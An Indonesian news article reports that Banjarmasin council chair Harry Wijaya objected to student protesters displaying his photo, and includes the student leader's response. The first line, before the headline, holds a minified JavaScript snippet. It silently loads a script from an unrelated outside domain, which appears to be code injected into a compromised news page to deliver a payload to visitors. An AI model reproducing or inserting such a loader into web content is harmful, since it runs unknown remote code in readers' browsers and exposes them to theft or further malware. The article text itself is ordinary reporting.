(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ketua DPRD Banjarmasin Harry Wijaya Protes Fotonya Dijadikan Poster Demo

KANALKALIMANTAN.COM, BANJARMASIN – Ketua DPRD Kota Banjarmasin Harry Wijaya memberikan penjelasan terkait aksi Himpunan Mahasiswa Islam (HMI) yang sempat panas pada Kamis (4/8/2022).

Harry Wijaya menyampaikan kekecewaannya, lantaran merasa telah mengakomodir jalannya penyampaian aspirasi. Tapi, justru merasa dihina atas tindakan demonstran.

Diberitakan sebelumnya dalam aksi para demonstran membawa lembaran foto berisikan wajah dirinya yang juga turut ditempel pada bendera dan aspal.

Secara administrasi, lanjut Harry, para demonstran memang menyampaikan surat pelaksanaan aksi yang ditujukan kepada Ketua DPRD Kota Banjarmasin dan lembaganya.

“Namun lebih idealnya kalau memang ingin bicara kelembagaan ya silahkan yang ditampilkan fotonya 45 anggota dewan, bukan hanya saya sendiri saja. Apalagi dengan bahasa meminta somasi untuk saya mundur,” tegah Harry Wijaya, Ketua DPRD Kota Banjarmasin.

Sementara itu, Ketua HMI Cabang Banjarmasin, Nurdhin yang ditemui terpisah menyampaikan bahwa tindakan tersebut adalah hal yang wajar sebagai bentuk kekecewaan para demonstran atas kerja dewan sebagai wakil rakyat.

“Kita gak ada tensi gak ada kata-kata yang menodong, sedangkan masalah foto itu memang bentuk kekecewaan kita, kita coba lihat kembali pada aksi-aksi di luar sana, bahkan ada sampai Presiden pun mukanya digambarkan binatang,” ucap Nurdhin.

Lebih lanjut terkait tuntutan, Harry Wijaya menyampaikan bahwa dewan tentu sudah menindaklanjutinya namun dirinya menerangkan bahwa sebagai lembaga mereka juga mempunya batasan tentang mekanisme dalam menindaklanjuti tuntutan tersebut.

“Kita sudah menjelaskan tadi bahwa tuntutan-tuntutan mereka sudah kita tindaklanjuti, akan tetapi kita juga punya batasan-batasan seperti bagaimana menindaknya itu harus sesuai dengan mekanisme yang ada,” jelasnya Harry.

Kemudian Harry mencontohkan seperti pada penegakan Perda Taman Hiburan Malam (THM). Pihaknya telah mengkonsolidasikan bersama Satpol PP, namun bukan berarti pihaknya bisa turun langsung dalam hal melakukan pemeriksaan.

“Bahkan dengan Kasat Pol PP nya langsung kita konsolidasikan tentang bagaimana penerapan perda tersebut, akan tetapi bukan kami yang selalu ikut memeriksa KTP yang harus berumur 21 tahun,” ucapnya.

Jembali ditegaskan Harry bahwa penting untuk menyamakan persespsi agar tidak menjadi kesalahpamahan di kemudian hari tentang tugas-tugas DPRD itu sendiri.

Sementara itu, Nurdhin juga menyampaikan dirinya bersama dengan demonstran lain akan kembali lagi menyambangi kantor DPRD Kota Banjarmasin, jika dalam waktu dekat dewan tidak melakukan panggilan untuk diadakannya dialog atau audiensi bersama.

Dalam menanggapi hal itu, Harry menegaskan bahwa pihaknya akan tetap mengakomodir jalannya aksi namun dengan catatan para demonstran harus memperhatikan bagaimana mekanisme penjadwalan pada saat ingin melakukan aksi demo.

“Kenapa? karena di DPRD itu banyak pekerjaan yang harus segera diselesaikan seperti kita masih melakukan pembahasan soal anggaran,

Yang mana dilanjutkan Harry bahwa dalam penyampaian surat pengadaan aksi tersebut tidak dilakukan komunikasi dan tidak ada kesepakatan antar dua pihak.

“Kemaren itu suratnya dengan tanggal dan jam yang mereka tentukan sendiri tanpa ada komunikasi dengan pihak DPRD. Jadi kalau memang di isi suratnya itu memohon atau meminta penjadwalan kita juga bisa menyesuaikan nantinya, pasti akan kita akomodir,” tegasnya.

Dirinya pun berharap hal tersebut di atas tidak terjadi lagi jika ada aksi-aksi yang akan datang.

“Mungkin bisa dikoreksi kembali bahwa kita minta ke mereka untuk bisa sama-sama sepakat, jika pada saat mereka memohon penjadwalan langkahnya kan harus konfirmasi dulu ke pihak yang bersangkutan,” tutup Harry. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell